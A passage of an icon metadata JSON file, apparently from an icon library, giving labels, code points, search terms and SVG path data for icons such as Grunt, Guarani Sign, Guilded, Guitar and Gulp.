28.9-75.1c0-43.6-24.9-81.3-61.1-99.8c-11.8-6-26.3-1.4-32.3 10.4s-1.4 26.3 10.4 32.3z"
      }
    },
    "free": ["solid"]
  },
  "grunt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ad",
    "label": "Grunt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"
      }
    },
    "free": ["brands"]
  },
  "guarani-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Guarani Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e19a",
    "label": "Guarani Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-17.7 0-32 14.3-32 32V66.7C69.2 81.9 0 160.9 0 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c90.8-15.2 160-94.2 160-189.3c0-17.7-14.3-32-32-32H224V132c22.1 5.7 41.8 17.1 57.6 32.6c12.6 12.4 32.9 12.2 45.3-.4s12.2-32.9-.5-45.3C299 92 263.5 73.3 224 66.7V32c0-17.7-14.3-32-32-32zM160 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124zM224 380V288h92c-11.6 45-47 80.4-92 92z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-17.7 0-32 14.3-32 32V66.7C69.2 81.9 0 160.9 0 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c90.8-15.2 160-94.2 160-189.3c0-17.7-14.3-32-32-32H224V132c22.1 5.7 41.8 17.1 57.6 32.6c12.6 12.4 32.9 12.2 45.3-.4s12.2-32.9-.5-45.3C299 92 263.5 73.3 224 66.7V32c0-17.7-14.3-32-32-32zM160 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124zM224 380V288h92c-11.6 45-47 80.4-92 92z"
      }
    },
    "free": ["solid"]
  },
  "guilded": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07e",
    "label": "Guilded",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"
      }
    },
    "free": ["brands"]
  },
  "guitar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7a6"]
      }
    },
    "changes": ["5.6.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "acoustic",
        "instrument",
        "music",
        "rock",
        "rock and roll",
        "song",
        "strings"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a6",
    "label": "Guitar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M465 7c-9.4-9.4-24.6-9.4-33.9 0L383 55c-2.4 2.4-4.3 5.3-5.5 8.5l-15.4 41-77.5 77.6c-45.1-29.4-99.3-30.2-131 1.6c-11 11-18 24.6-21.4 39.6c-3.7 16.6-19.1 30.7-36.1 31.6c-25.6 1.3-49.3 10.7-67.3 28.6C-16 328.4-7.6 409.4 47.5 464.5s136.1 63.5 180.9 18.7c17.9-17.9 27.4-41.7 28.6-67.3c.9-17 15-32.3 31.6-36.1c15-3.4 28.6-10.5 39.6-21.4c31.8-31.8 31-85.9 1.6-131l77.6-77.6 41-15.4c3.2-1.2 6.1-3.1 8.5-5.5l48-48c9.4-9.4 9.4-24.6 0-33.9L465 7zM208 256a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M465 7c-9.4-9.4-24.6-9.4-33.9 0L383 55c-2.4 2.4-4.3 5.3-5.5 8.5l-15.4 41-77.5 77.6c-45.1-29.4-99.3-30.2-131 1.6c-11 11-18 24.6-21.4 39.6c-3.7 16.6-19.1 30.7-36.1 31.6c-25.6 1.3-49.3 10.7-67.3 28.6C-16 328.4-7.6 409.4 47.5 464.5s136.1 63.5 180.9 18.7c17.9-17.9 27.4-41.7 28.6-67.3c.9-17 15-32.3 31.6-36.1c15-3.4 28.6-10.5 39.6-21.4c31.8-31.8 31-85.9 1.6-131l77.6-77.6 41-15.4c3.2-1.2 6.1-3.1 8.5-5.5l48-48c9.4-9.4 9.4-24.6 0-33.9L465 7zM208 256a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "gulp": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ae",
    "label": "Gulp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 